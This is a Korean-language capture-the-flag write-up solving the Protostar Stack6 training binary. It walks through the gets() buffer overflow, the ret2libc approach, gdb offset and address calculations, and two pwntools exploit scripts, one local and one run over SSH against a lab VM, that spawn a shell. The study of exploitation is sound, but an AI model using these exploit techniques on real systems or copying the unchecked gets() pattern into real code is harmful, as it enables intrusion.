[Protostar] Stack6
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
main함수에서 getpath()함수를 실행시킨다.
1. gets를 통해서 input을 입력 받는데 길이값에 대한 검증이 없다.
👉 여기서 buffer overflow발생
2. ret에 대한 주소 검사 실행
ret에 __builtin_return_address(0)가 들어간다.
[ 참고 ]
__builtin_return_address(0) : 현재함수의 리턴주소 나오게하는 함수
__builtin_return_address(1) : 나를 호출한 함수의 리턴주소 나오게 하는 함수
그래서 ret에 현재함수의 리턴함수주소가 들어간다.
이후 if문을 통해서 ret가 0xbf로 시작하는지 여부를 확인한다.
👉 if((ret & 0xbf000000) == 0xbf000000)
ret & 0xbf000000으로 앞에 2bytes가 bf이면 bf이고 뒤에 6bytes는 0으로 초기화한 뒤에
시작 주소가 0xbf와 만족하면 exit된다.
0xbf는 stack영역의 주소가 시작할 때 사용되기 때문에 이전 stack5 문제와 같이 buffer안에 쉘코드 삽입해서 ret를 조작하는 것이 불가능하다.
👉 RTL = ret2lib 방법을 이용해야 한다.
pwntools을 사용하기 위해서 kali로 문제를 복사해서 풀기도 하고 원격으로 연결해서도 풀어보았다.
kali에 복사한 뒤에 푼 문제
stack 구조 :
RTL이용하기 위해서 RET에 system함수 주소를 넣으려고 한다.
그러면 스택 프레임을 맞춰주기 위해 아래와 같은 구조로 bof를 해야 된다.
📌 필요한 값
1. buffer와 sfp 사이 dummy 구간의 길이
2. system함수의 주소
3. /bin/sh의 주소
1. buffer와 sfp 사이 dummy 구간의 길이
1) 패턴 만들기
gdb-peda$ pattern create 100
2) getpath의 ret에 breakpoint
gdb-peda$ b *getpath+22
3) run 한 뒤에 입력값에 pattern 넣기
4) $esp 값 AJAAfAA5AAKAAgAA6AAL로 offset 구하기
gdb-peda$ pattern offset AJAAfAA5AAKAAgAA6AAL
👉 80
2. system함수의 주소
3. /bin/sh의 주소
system 함수 주소 👉 0xf7c4c800
/bin/sh 주소 👉 0xf7db5faa
페이로드를 만들면,
A*80개
system함수 주소 👉 0xf7c4c800
dummy값 👉 0xffffffff
/bin/sh 주소 👉 0xf7db5faa
pwntools로 코드를 작성하면 아래와 같다.
from pwn import *
system_addr=p32(0xf7c4c800)
dummy=p32(0xffffffff)
bin_sh_addr=p32(0xf7db5faa)
offset=80
payload=b'A'*offset+system_addr+dummy+bin_sh_addr
p=process(['../bin/stack6'])
p.sendline(payload)
p.interactive()
실행결과 :
2) 원격으로 서버에 연결해서 풀기
앞에서 풀이한 것과 동일하게
📌 필요한 값
1. buffer와 sfp 사이 dummy 구간의 길이
2. system함수의 주소
3. /bin/sh의 주소
1. buffer와 sfp 사이 dummy 구간이 길이
입력값으로 줄 값 저장
👉 A*64+BBBB+CCCC+DDDD+EEEE+DDDD : 80bytes
2. system함수 주소
👉 0xb7ecffb0
3. /bin/sh 주소 구하기
$ ldd ./stack6
$ strings -tx /lib/libc.so.6 | grep '/bin/sh'
$ gdb -q /lib/libc.so.6
(gdb) print system
→ 0x38fb0
(gdb) p/x 0x11f3bf-0x38fb0
→ /bin/sh 주소 - print 함수주소
→ offset : 0xe640f
$ gdb -q stack6
(gdb) b *main
(gdb) r
(gdb) print system
→ offset : 0xb7ecffb0
(gdb) p/x 0xb7ecffb0+0xe640f
→ system함수 + offset
= /bin/sh 주소 : 0xb7fb63bf
👉 0xb7fb63bf
페이로드를 만들면,
A*80개
system함수 주소 👉 0xb7ecffb0
dummy값 👉 0xffffffff
/bin/sh 주소 👉 0xb7fb63bf
pwntools로 코드를 작성하면 아래와 같다.
from pwn import *
system_addr=p32(0xb7ecffb0)
dummy=p32(0xffffffff)
bin_sh_addr=p32(0xb7fb63bf)
offset=80
payload=b'A'*offset+system_addr+dummy+bin_sh_addr
p=ssh(user="protostar",host="192.168.239.135",port=22,password="godmode")
p=p.run(['/opt/protostar/bin/stack6'])
p.sendline(payload)
p.interactive()
실행결과 :